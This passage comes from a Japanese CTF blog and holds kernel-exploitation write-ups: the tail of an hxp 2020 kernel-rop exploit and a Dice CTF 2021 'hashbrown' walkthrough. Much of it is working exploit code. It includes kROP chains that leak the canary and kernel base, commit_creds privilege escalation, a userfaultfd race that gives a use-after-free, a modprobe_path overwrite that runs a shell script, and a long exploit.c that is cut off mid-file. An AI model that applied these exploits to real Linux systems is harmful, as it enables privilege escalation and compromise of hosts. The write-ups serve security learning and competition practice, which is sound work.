    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

// hackme
int _write(int fd, char *buf, uint size){
  assert(fd > 0);
  int res = write(fd, buf, size);
  assert(res >= 0);
  return res;
}
int _read(int fd, char *buf, uint size){
  assert(fd > 0);
  int res = read(fd, buf, size);
  assert(res >= 0);
  return res;
}
// (END hackme)

#define CANARY_OFF 0x80
#define RBP_OFF 0x98
int fd;
ulong kernbase;
ulong commit_creds, prepare_kernel_cred, current_task;
ulong canary;
char rbuf[0x200];
char wbuf[0x200];

void level3(void){
  ulong ret;
  asm(
      "movq %0, %%rax\n"
      : "=r"(ret)
  );
  const ulong my_special_cred = ret;
  printf("[!] reached Level-3\n");
  printf("[!] my_special_cred: 0x%lx\n", my_special_cred);

  // into level4
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x006370; // pop rdi
  *c++ = my_special_cred;
  *c++ = commit_creds;
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &NIRUGIRI;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("level3");
}

void level2(void){
  ulong ret;
  asm(
      "movq %0, %%rax\n"
      : "=r"(ret)
  );
  prepare_kernel_cred = (signed long)kernbase + (signed long)0xf8d4fc + (signed int)ret;
  printf("[!] reached Level-2\n");
  printf("[!] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);

  // into level3
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x006370; // pop rdi
  *c++ = 0;
  *c++ = prepare_kernel_cred;
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  printf("[!!!] 0x%lx\n", *(c-1));;
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &level3;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("level2");
}

void level1(void){
  ulong ret;
  asm(
      "movq %0, %%rax\n"
      : "=r"(ret)
  );
  commit_creds = (signed long)kernbase + (signed long)0xf87d90 + (signed int)ret;
  printf("[!] reached Level-1\n");
  printf("[!] commit_creds: 0x%lx\n", commit_creds);

  // into level2
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x4D11; // pop rax
  *c++ = kernbase + 0xf8d4fc; // __ksymtab_prepare_kernel_cred
  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
  *c++ = 'A'; // rbp
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &level2;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("level1");
}

int main(int argc, char *argv[]) {
  printf("[.] NIRUGIRI @ %p\n", &NIRUGIRI);
  printf("[.] level1 @ %p\n", &level1);
  memset(wbuf, 'A', 0x200);
  memset(rbuf, 'B', 0x200);
  fd = open(DEV_PATH, O_RDWR);
  assert(fd > 0);

  // leak canary and kernbase
  _read(fd, rbuf, 0x1a0);
  canary = ((ulong*)rbuf)[0x10/8];
  printf("[+] canary: %lx\n", canary);
  kernbase = ((ulong*)rbuf)[38] - ((ulong)0xffffffffb080a157 - (ulong)0xffffffffb0800000);
  printf("[!] kernbase: 0x%lx\n", kernbase);

  // leak symbols from __ksymtab_xxx
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x4D11; // pop rax
  *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
  *c++ = 'A'; // rbp
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &level1;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("main");
  return 0;
}

/* gad go home
ffffffff81200f23:       59                      pop    rcx
ffffffff81200f24:       5a                      pop    rdx
ffffffff81200f25:       5e                      pop    rsi
ffffffff81200f26:       48 89 e7                mov    rdi,rsp
ffffffff81200f29:       65 48 8b 24 25 04 60    mov    rsp,QWORD PTR gs:0x6004
ffffffff81200f30:       00 00
ffffffff81200f32:       ff 77 30                push   QWORD PTR [rdi+0x30]
ffffffff81200f35:       ff 77 28                push   QWORD PTR [rdi+0x28]
ffffffff81200f38:       ff 77 20                push   QWORD PTR [rdi+0x20]
ffffffff81200f3b:       ff 77 18                push   QWORD PTR [rdi+0x18]
ffffffff81200f3e:       ff 77 10                push   QWORD PTR [rdi+0x10]
ffffffff81200f41:       ff 37                   push   QWORD PTR [rdi]
ffffffff81200f43:       50                      push   rax
ffffffff81200f44:       eb 43                   jmp    ffffffff81200f89 <_stext+0x200f89>
ffffffff81200f46:       0f 20 df                mov    rdi,cr3
ffffffff81200f49:       eb 34                   jmp    ffffffff81200f7f <_stext+0x200f7f>
*/

 

8: アウトロ

f:id:smallkirby:20210216224901p:plain

hxp{春が来たら朝に散歩したいですね}

 

FGKASLRをkROPでbypassする、為になる良い問題でした。

 

 

9: symbols without KASLR

symbols.txt
hackme_buf: 0xffffffffc0002440

信じられるものは、.bss/.dataだけ。アンパンマンと一緒だね。

 

 

10: 参考

1: author's writeup

https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/

2: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 48.0】hashbrown - Dice CTF 2021 (kernel exploit)

keywords

kernel exploit / FGKASLR / slab / race condition / modprobe_path / shm_file_data / kUAF / shmem_vm_ops

 

 

1: イントロ

いつぞや開催された Dice CTF 2021 のkernel問題: hashbrown 。なんかパット見でSECCON20のkvdbを思い出して吐きそうになった(あの問題、かなりbrainfuckingでトラウマ...)。まぁ結果として相違点は、題材がハッシュマップを用いたデータ構造を使ってるっていうのと、dungling-pointerが生まれるということくらい(あれ、結構同じか?)。

先に言うと、凄くいい問題でした。自分にとって知らないこと(FGKASLRとか)を新しく知ることもできたし、既に知っていることを考えて使う練習もできた問題でした。

 

 

2: static

basic

basic.sh
~ $ cat /proc/version
Linux version 5.11.0-rc3 (professor_stallman@i_use_arch_btw) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU 1
~ $ lsmod
hashbrown 16384 0 - Live 0x0000000000000000 (OE)
$ modinfo ./hashbrown.ko
filename:       /home/wataru/Documents/ctf/dice2020/hashbrown/work/./hashbrown.ko
license:        GPL
description:    Here's a hashbrown for everyone!
author:         FizzBuzz101
depends:
retpoline:      Y
name:           hashbrown
vermagic:       5.11.0-rc3 SMP mod_unload modversions

exec qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel "bzImage" \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64,+smep,+smap \
    -monitor /dev/null \
    -initrd "initramfs.cpio" \
    -smp 2 \
    -smp cores=2 \
    -smp threads=1

SMEP有効・SMAP有効・KAISER有効・KASLR有効・ FGKASLR 有効・oops->panic・ダブルコアSMP

スラブには SLUB ではなく SLAB を利用していて、 CONFIG_FREELIST_RANDOMCONFIG_FREELIST_HARDENED 有効。

 

Module

モジュール hashbrownソースコードが配布されている。ソースコードの配布はいつだって正義。配布しない場合はその理由を原稿用紙12枚分書いて一緒に配布する必要がある。

キャラクタデバイス /dev/hashbrown を登録し、 ioctl() のみを実装している。その挙動は典型的なhashmapの実装であり、author's writeupによるとJDKの実装を取ってきているらしい。ioctl()の概観は以下のとおり。

hashbrown_distributed.c
static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    long result;
    request_t request;
    uint32_t idx;

    if (cmd == ADD_KEY)
    {
        if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
        {
            mutex_lock(&resize_lock);
            result = resize((request_t *)arg);
            mutex_unlock(&resize_lock);
            return result;
        }
    }

    mutex_lock(&operations_lock);
    if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))
    {
        result = INVALID;
    }
    else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES)
    {
        result = MAXED;
    }
    else
    {
        idx = get_hash_idx(request.key, hashmap.size);
        switch(cmd)
        {
            case ADD_KEY:
                result = add_key(idx, request.key, request.size, request.src);
                break;
            case DELETE_KEY:
                result = delete_key(idx, request.key);
                break;
            case UPDATE_VALUE:
                result = update_value(idx, request.key, request.size, request.src);
                break;
            case DELETE_VALUE:
                result = delete_value(idx, request.key);
                break;
            case GET_VALUE:
                result = get_value(idx, request.key, request.size, request.dest);
                break;
            default:
                result = INVALID;
                break;
        }
    }
    mutex_unlock(&operations_lock);
    return result;
}

データはstruct hashmap_t型の構造体で管理され、各エントリはstruct hash_entry型で表現される。

structs.c
typedef struct
{
    uint32_t size;
    uint32_t threshold;
    uint32_t entry_count;
    hash_entry **buckets;
}hashmap_t;

bucketsの大きさはsizeだけあり、キーを新たに追加する際に現在存在しているキーの数がthresholdを上回っているとresize()が呼び出され、新たにbucketskzalloc()で確保される。古いbucketsからデータをすべてコピーした後、古いbucketskfree()される。このthresholdは、 bucketsが保持可能な最大要素数 x 3/4 で計算される。各bucketsへのアクセスにはkeyの値から計算したインデックスを用いて行われ、このインデックスは容易に衝突するためhash_entryはリスト構造で要素を保持している。

 

 

3: FGKASLR

Finer/Function Granular KASLR 。詳しくはLWN参照。カーネルイメージELFに関数毎にセクションが作られ、それらがカーネルのロード時にランダマイズされて配置されるようになる。メインラインには載っていない。これによって、あるシンボルをleakすることでベースとなるアドレスを計算することが難しくなる。

ex.sh
       0000000000000094  0000000000000000  AX       0     0     16
  [3507] .text.revert_cred PROGBITS         ffffffff8148e2b0  0068e2b0
       000000000000002f  0000000000000000  AX       0     0     16
  [3508] .text.abort_creds PROGBITS         ffffffff8148e2e0  0068e2e0
       000000000000001d  0000000000000000  AX       0     0     16
  [3509] .text.prepare_cre PROGBITS         ffffffff8148e300  0068e300
       0000000000000234  0000000000000000  AX       0     0     16
  [3510] .text.commit_cred PROGBITS         ffffffff8148e540  0068e540
       000000000000019c  0000000000000000  AX       0     0     16
  [3511] .text.prepare_ker PROGBITS         ffffffff8148e6e0  0068e6e0
       00000000000001ba  0000000000000000  AX       0     0     16
  [3512] .text.exit_creds  PROGBITS         ffffffff8148e8a0  0068e8a0
       0000000000000050  0000000000000000  AX       0     0     16
  [3513] .text.cred_alloc_ PROGBITS         ffffffff8148e8f0  0068e8f0

なんか、こうまでするのって、凄いと思うと同時に、ちょっと引く...。

 

朗報として、従来の .text セクションに入っている一部の関数及びC以外で記述された関数はランダマイズの対象外になる。また、データセクションにあるシンボルもランダマイズされないため、リークにはこういったシンボルを使う。詳しくは後述する。

 

 

4: Vuln: race to kUAF

モジュールは結構ちゃんとした実装になっている。だが、上のコード引用からも分かるとおり、ミューテックスを2つ利用していることが明らかに不自然。しかも、 basic に書いたようにマルチコアで動いているため race condition であろうことが推測できる。そして、大抵の場合raceはCTFにおいてcopy_from_user()を呼び出すパスで起きることが多い(かなりメタ読みだが、そうするとuffdが使えるため)。

それを踏まえてresize()を見てみると、以下の順序でbucketsのresizeを行っていることが分かる。

resize.txt
1. 新しいbucketsをkzalloc()
2. 古いbucketsの各要素を巡回し、各要素を新たにkzalloc()してコピー
3. 新たに追加する要素をkzalloc()して追加。古い要素が持ってるデータへのポインタを新しい要素にコピー。
4. 古いbucketsの要素を全てkfree()

ここで、手順3において新たに追加する要素の追加にcopy_from_user()が使われている。よって、 userfaultfd によって一旦処理を3で停止させる。その間に、 DELETE_VALUE によって値を削除する。すると、実際にその値はkfree()されるものの、ポインタがNULLクリアされるのは古い方のbucketsのみであり、新しい方のbucketsには削除されたポインタが残存することになる( dungling-pointer )。

hashbrown_distributed.c
static long delete_value(uint32_t idx, uint32_t key)
{
    hash_entry *temp;
    if (!hashmap.buckets[idx])
    {
        return NOT_EXISTS;
    }
    for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
    {
        if (temp->key == key)
        {
            if (!temp->value || !temp->size)
            {
                return NOT_EXISTS;
            }
            kfree(temp->value);
            temp->value = NULL;
            temp->size = 0;
            return 0;
        }
    }
    return NOT_EXISTS;
}

上のhashmapはuffdによってresize()処理が停止されている間は古いbucketsを保持することになるから、UAFの成立である。

 

 

5: leak and bypass FGKASLR via shm_file_data

さて、上述したUAFを用いてまずはkernbaseのleakをする。

 

なんでseq_operationsじゃだめなのか

参考4において、 kmalloc-32 で利用できる構造体にshm_file_dataがある。これは以下のように定義される構造体である。

ipc/shm.c
struct shm_file_data {
	int id;
	struct ipc_namespace *ns;
	struct file *file;
	const struct vm_operations_struct *vm_ops;
};

メンバの内、nsvm_opsがデータセクションのアドレスを指している。また、fileはヒープアドレスを指している。共有メモリをallocすることで任意のタイミングで確保・ストックすることができ、kernbaseもkernheapもleakできる優れものである。

 

とりわけ、vm_opsshmem_vm_opsを指している。shmem_vm_opsは以下で定義されるstruct vm_operations_struct型の静的変数である。

mm/shmem.c
static const struct vm_operations_struct shmem_vm_ops = {
	.fault		= shmem_fault,
	.map_pages	= filemap_map_pages,
#ifdef CONFIG_NUMA
	.set_policy     = shmem_set_policy,
	.get_policy     = shmem_get_policy,
#endif
};

shmatの呼び出しによって呼ばれるshm_mmap()の内部で以下のように代入される。

ipc/shm.c
static int shm_mmap(struct file *file, struct vm_area_struct *vma)
{
	struct shm_file_data *sfd = shm_file_data(file);
    (snipped...)
	sfd->vm_ops = vma->vm_ops;
#ifdef CONFIG_MMU
	WARN_ON(!sfd->vm_ops->fault);
#endif
	vma->vm_ops = &shm_vm_ops;
	return 0;
}

参考までに、以下が上のコードまでのbacktrace。(v5.9.11)

bt.sh
#0  shm_mmap (file=<optimized out>, vma=0xffff88800e4710c0) at ipc/shm.c:508
#1  0xffffffff8118c5c6 in call_mmap (vma=<optimized out>, file=<optimized out>) at ./include/linux/fs.h:1887
#2  mmap_region (file=<optimized out>, addr=140174097555456, len=<optimized out>, vm_flags=<optimized out>, pgoff=<optimized out>, uf=<optimized out>) at mm/mmap.c:1773
#3  0xffffffff8118cb9e in do_mmap (file=0xffff88800e42a600, addr=<optimized out>, len=4096, prot=2, flags=1, pgoff=<optimized out>, populate=0xffffc90000157ee8, uf=0x0) at mm/mmap.c:1545
#4  0xffffffff81325012 in do_shmat (shmid=1, shmaddr=<optimized out>, shmflg=0, raddr=<optimized out>, shmlba=<optimized out>) at ipc/shm.c:1559
#5  0xffffffff813250be in __do_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1594
#6  __se_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1589
#7  __x64_sys_shmat (regs=<optimized out>) at ipc/shm.c:1589
#8  0xffffffff81a3feb3 in do_syscall_64 (nr=<optimized out>, regs=0xffffc90000157f58) at arch/x86/entry/common.c:46

 

kmalloc-32 で使える構造体であれば、seq_operationsもあると書いてあるが、これらのポインタはFGKASLRの影響を受ける。実際、single_start()等の関数のためにセクションが設けられていることが分かる。

readelf.txt
  [11877] .text.single_star PROGBITS         ffffffff81669b30  00869b30
       000000000000000f  0000000000000000  AX       0     0     16
  [11878] .text.single_next PROGBITS         ffffffff81669b40  00869b40
       000000000000000c  0000000000000000  AX       0     0     16
  [11879] .text.single_stop PROGBITS         ffffffff81669b50  00869b50
       0000000000000006  0000000000000000  AX       0     0     16

よって、 kernbase のleakにはこういった関数ポインタではなく、データ領域を指しているshm_file_data等を使うことが望ましい。

 

leak

といわけで、uffdを使ってraceを安定化させつつshm_file_dataでkernbaseをリークしていく。

まずはbucketsが拡張される直前までkeyを追加していく。最初のthreshold0x10 x 3/4 = 0xc 回であるから、その分だけadd_key()。それが終わったらuffdを設定したページからさらにadd_key()を行い、フォルトの発生中にdelete_value()して要素を解放したらUAFの完成。以下のようにleakができる。

f:id:smallkirby:20210215214126p:plain

leak shmem_vm_ops

 

因みに

uffdハンドラの中でmmap()するのって、rootじゃないとダメなんだっけ?以下のコードはrootでやると上手く動いたけど、rootじゃないとmmap()で-1が返ってきちゃった。後で調べる。

fail.c
    void *srcpage = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    printf("[+] mmapped @ %p\n", srcpage);
    uffdio_copy.src = (ulong)srcpage;
    uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
    uffdio_copy.len = PAGE;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
      errExit("ioctl-UFFDIO_COPY");

【追記 20200215】これ、単純にアドレス0x0に対してMAP_FIXEDにしてるからだわ。

 

 

6: AAW

principle

さて、ここまででkernbaseのleakができている。次はAAWが欲しい。あと50兆円欲しい。

本モジュールには、既に存在しているhash_entryの値を更新するupdate_valueという操作がある。

update_value.c
static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src)
{
    hash_entry *temp;
    char *temp_data;

    if (size < 1 || size > MAX_VALUE_SIZE)
    {
        return INVALID;
    }
    if (!hashmap.buckets[idx])
    {
        return NOT_EXISTS;
    }

    for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
    {
        if (temp->key == key)
        {
            if (temp->size != size)
            {
                if (temp->value)
                {
                    kfree(temp->value);
                }
                temp->value = NULL;
                temp->size = 0;
                temp_data = kzalloc(size, GFP_KERNEL);
                if (!temp_data || copy_from_user(temp_data, src, size))
                {
                    return INVALID;
                }
                temp->size = size;
                temp->value = temp_data;
            }
            else
            {
                if (copy_from_user(temp->value, src, size))
                {
                    return INVALID;
                }
            }
            return 0;
        }
    }
    return NOT_EXISTS;
}

この中のif (copy_from_user(temp->value, src, size))の部分で、仮にtemp->valueの保持するアドレスが不正に書き換えられるとするとAAWになる。このtempstruct hash_entry型であり、このサイズは kmalloc-32 である。よって、先程までと全く同じ方法でkUAFを起こし、tempの中身を自由に操作することができる。

因みに、leakしたあとすぐに再び threshold 分だけadd_key()してresize()を呼ばせて、kUAFを起こし、そのあとすぐにadd_key()して目的のobjectを手に入れようとしたが手に入らなくて"???"になった。だが、よくよく考えたらdelete_value()でkUAFを引き起こした後に、古いbucketsの解放が起こるためスラブにはどんどんオブジェクトが蓄積していってしまう。よって、その状態で目的のkUAFされたオブジェクトを手に入ろうとしてもすぐには手に入らない。解決方法は単純で、削除したはずの要素からget_value()し続けて、それが今まで入っていた値と異なる瞬間が来たら、そのobjectが新たにhash_entryとしてallocされたことになる。

find-my-object.c
  for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
    memset(buf, 'A', 0x20);
    add_key(hashfd, ix, 0x20, buf);
    get_value(hashfd, targetkey, 0x20, buf);
    if(((uint*)buf)[0] != 0x41414141){
      printf("[!] GOT kUAFed object!\n");;
      printf("[!] %lx\n", ((ulong*)buf)[0]);
      printf("[!] %lx\n", ((ulong*)buf)[1]);
      printf("[!] %lx\n", ((ulong*)buf)[2]);
      printf("[!] %lx\n", ((ulong*)buf)[3]);
      break;
    }
  }

 

 

overwrite modprobe_path

今回はSMAP/SMEP有効だから、ユーザランドのシェルコードを実行させるということはできない。かといってROPを組もうにも、FGKASLRが有効であるからガジェットの位置が定まらない。こんなときは、定番の modprobe_path の書き換えを行う。modprobe_pathはデータセクションにあるためFGKASLRの影響を受ける心配もない。

以下の感じで、ぷいぷいもるかー。

modprobe_path_nirugiri.c
  // trigger modprobe_path
  system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
  system("chmod +x /home/ctf/nirugiri.sh");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
  system("chmod +x /home/ctf/puipui-molcar");
  system("/home/ctf/puipui-molcar");

  // NIRUGIRI it
  system("cat /home/ctf/flag.txt");

 

 

 

7: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/hashbrown"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

// consts
#define SIZE_ARR_START 0x10

// globals
#define STATE_LEAK 0
#define STATE_UAF 1
#define STATE_INVALID 99
void *uffdaddr = NULL;
pthread_t uffdthr; // ID of thread that handles page fault and continue exploit in another kernel thread
int hashfd = -1;
uint STATUS = STATE_LEAK;
uint targetkey = SIZE_ARR_START * 3 / 4 - 1;
uint limit = SIZE_ARR_START;
uint threshold = SIZE_ARR_START * 3/ 4;
char *faultsrc = NULL;
// (END globals)

/*** hashbrown ****/
// commands
#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b
// returns
#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

// structs
typedef struct{
    uint32_t key;
    uint32_t size;
    char *src;
    char *dest;
}request_t;
struct hash_entry{
    uint32_t key;
    uint32_t size;
    char *value;
    struct hash_entry *next;
};
typedef struct
{
    uint32_t size;
    uint32_t threshold;
    uint32_t entry_count;
    struct hash_entry **buckets;
}hashmap_t;
uint get_hash_idx(uint key, uint size)
{
    uint hash;
    key ^= (key >> 20) ^ (key >> 12);
    hash = key ^ (key >> 7) ^ (key >> 4);
    return hash & (size - 1);
}

// wrappers
void add_key(int fd, uint key, uint size, char *data){
  printf("[+] add_key: %d %d %p\n", key, size, data);
  request_t req = {
    .key = key,
    .size = size,
    .src = data
  };
  long ret = ioctl(fd, ADD_KEY, &req);
  assert(ret != INVALID && ret != EXISTS);
}
void delete_key(int fd, uint key){
  printf("[+] delete_key: %d\n", key);
  request_t req = {
    .key = key
  };
  long ret = ioctl(fd, DELETE_KEY, &req);
  assert(ret != NOT_EXISTS && ret != INVALID);
}
void update_value(int fd, uint key, uint size, char *data){
  printf("[+] update_value: %d %d %p\n", key, size, data);
  request_t req = {
    .key = key,
    .size = size,
    .src = data
  };
  long ret = ioctl(fd, UPDATE_VALUE, &req);
  assert(ret != INVALID && ret != NOT_EXISTS);
}
void delete_value(int fd, uint key){
  printf("[+] delete_value: %d\n", key);
  request_t req = {
    .key = key,
  };
  long ret = ioctl(fd, DELETE_VALUE, &req);
  assert(ret != NOT_EXISTS);
}
void get_value(int fd, uint key, uint size, char *buf){
  printf("[+] get_value: %d %d %p\n", key, size, buf);
  request_t req = {
    .key = key,
    .size = size,
    .dest = buf
  };
  long ret = ioctl(fd, GET_VALUE, &req);
  assert(ret != NOT_EXISTS && ret != INVALID);
}

/**** (END hashbrown) ****/

// userfaultfd-utils
static void* fault_handler_thread(void *arg)
{
  puts("[+] entered fault_handler_thread");

  static struct uffd_msg msg;   // data read from userfaultfd
  struct uffdio_copy uffdio_copy;
  long uffd = (long)arg;        // userfaultfd file descriptor
  struct pollfd pollfd;         //
  int nready;                   // number of polled events
  int shmid;
  void *shmaddr;

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  puts("[+] polling...");
  while(poll(&pollfd, 1, -1) > 0){
    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
      errExit("poll");

    // read an event
    if(read(uffd, &msg, sizeof(msg)) == 0)
      errExit("read");

    if(msg.event != UFFD_EVENT_PAGEFAULT)
      errExit("unexpected pagefault");

    printf("[!] page fault: 0x%llx\n",msg.arg.pagefault.address);

    // Now, another thread is halting. Do my business.
    switch(STATUS){
      case STATE_LEAK:
        if((shmid = shmget(IPC_PRIVATE, PAGE, 0600)) < 0)
          errExit("shmget");
        delete_value(hashfd, targetkey);
        if((shmaddr = shmat(shmid, NULL, 0)) < 0)
          errExit("shmat");
        STATUS = STATE_UAF;
        break;
      case STATE_UAF:
        delete_value(hashfd, targetkey);
        STATUS = STATE_INVALID;
        break;
      default:
        errExit("unknown status");
    }

    printf("[+] uffdio_copy.src: %p\n", faultsrc);
    uffdio_copy.src = (ulong)faultsrc;
    uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
    uffdio_copy.len = PAGE;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
      errExit("ioctl-UFFDIO_COPY");
    else{
      puts("[+] end ioctl(UFFDIO_COPY)");
    }

    break;
  }

  puts("[+] exiting fault_handler_thrd");
}

pthread_t register_userfaultfd_and_halt(void)
{
  puts("[+] registering userfaultfd...");

  long uffd;      // userfaultfd file descriptor
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // create userfaultfd file descriptor
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
  if(uffd == -1)
    errExit("userfaultfd");

  // enable uffd object via ioctl(UFFDIO_API)
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    errExit("ioctl-UFFDIO_API");

  // mmap
  puts("[+] mmapping...");
  uffdaddr = mmap((void*)FAULT_ADDR, PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
  printf("[+] mmapped @ %p\n", uffdaddr);
  if(uffdaddr == MAP_FAILED)
    errExit("mmap");

